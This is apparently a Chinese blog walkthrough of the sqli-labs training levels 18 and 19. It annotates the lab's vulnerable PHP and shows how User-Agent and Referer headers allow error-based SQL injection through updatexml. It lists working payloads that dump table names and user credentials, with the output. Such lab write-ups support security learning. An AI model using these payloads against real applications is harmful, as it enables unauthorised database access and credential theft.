1. 程式人生 > 實用技巧 >sqli-labs 18-19 --Header_injection

sqli-labs 18-19 --Header_injection

sqli-labs 18

知識點

頭部注入

報錯注入

使用的函式:

updatexml (XML_document, XPath_string, new_value);
第一個引數:XML_document是String格式,為XML文件物件的名稱
第二個引數:XPath_string (Xpath格式的字串)
第三個引數:new_value,String格式,替換查詢到的符合條件的資料
作用:改變文件中符合條件的節點的值
報錯注入原理:當XPath_string()不滿足格式的時候,會報錯並把查詢資訊放到報錯資訊裡
通常用 ’ ~ ’製造語法錯誤,編碼後為0x7e

報錯注入的語句:
updatexml(1,concat(0x7e,(常用sql注入語句),0x7e),1))

原始碼

//這裡是過濾
function check_input($value)
	{
	if(!empty($value))
		{
		$value = substr($value,0,20); // truncation (see comments)
		}
		if (get_magic_quotes_gpc())  //返回當前 magic_quotes_gpc 配置選項的設定  Stripslashes if magic quotes enabled
			{
			$value = stripslashes($value);//stripslashes() 函式刪除由 addslashes() 函式新增的反斜槓。
			}
		if (!ctype_digit($value))   	//用處:檢查提供的 string 和 text 裡面的字元是不是都是數字。語法:ctype_digit ( string $text ) : bool; 
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			//mysql_real_escape_string() 函式轉義 SQL 語句中使用的字串中的特殊字元。下列字元受影響:\x00,\n,\r,\,',",\x1a
			//如果成功,則該函式返回被轉義的字串。如果失敗,則返回 false。
			}
	else
		{
		$value = intval($value);//intval() 函式通過使用指定的進位制 base 轉換(預設是十進位制)
		}
	return $value;
	}
//注意這裡有對頭部的處理
	$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
	//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
//只檢查了輸入的使用者名稱和密碼,沒有檢查頭部
	{
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	/*
	echo 'Your Your User name:'. $uname;
	echo "<br>";
	echo 'Your Password:'. $passwd;
	echo "<br>";
	echo 'Your User Agent String:'. $uagent;
	echo "<br>";
	echo 'Your User Agent String:'. $IP;
	*/
	//logging the connection parameters to a file for analysis.	
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	
	fclose($fp);
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
//注意這裡把ip,uagent代入資料庫查詢了
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());		//注意這裡輸出了錯誤	
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}
		else
			{
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}

	}

判斷

無過濾+代入資料庫查詢+輸出錯誤=存在sql注入
查詢結果顯示uagent,ip
可以用報錯注入,注入點可以用uagent
嘗試了用ip做注入點但是沒有結果

構造payload

首先要把原來的語句閉合,根據程式碼

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

我們要構造一個類似的語句,把原來的ip,uname代替掉,用#註釋掉多餘的部分
1','1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#


庫:security
1','1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

表:emails,referers,uagents,users

1','1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#

users中的欄位:id,username,password,ip,time,US

1','1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#

值:~1:Dumb:Dumb,2:Angelina:I-kill-y
沒有完全顯示出來,加上substr,一點點讀取
1','1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#

ina:I-kill-you,3:Dummy:p@ssword

~d,4:secure:crappy,5:stupid:stup

stupid:stupidity,6:superman:gen

uperman:genious,7:batman:mob!le

tman:mob!le,8:admin:admin~
看到~,說明都讀完了
~1:Dumb:Dumb,2:Angelina:I-kill-you,3:Dummy:p@ssword,4:secure:crappy,5:stupid:stupidity,6:superman:genious,7:batman:mob!le,8:admin:admin~

sqli-labs 19

和18題基本一樣,除了注入點換到了referer,然後payload要減少一個引數,其他都一樣

關鍵原始碼

$uagent = $_SERVER['HTTP_REFERER'];

uagent裡面的值是referer

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

插入語句裡一共有兩個引數

payload:

1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#
1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#
1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#
1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#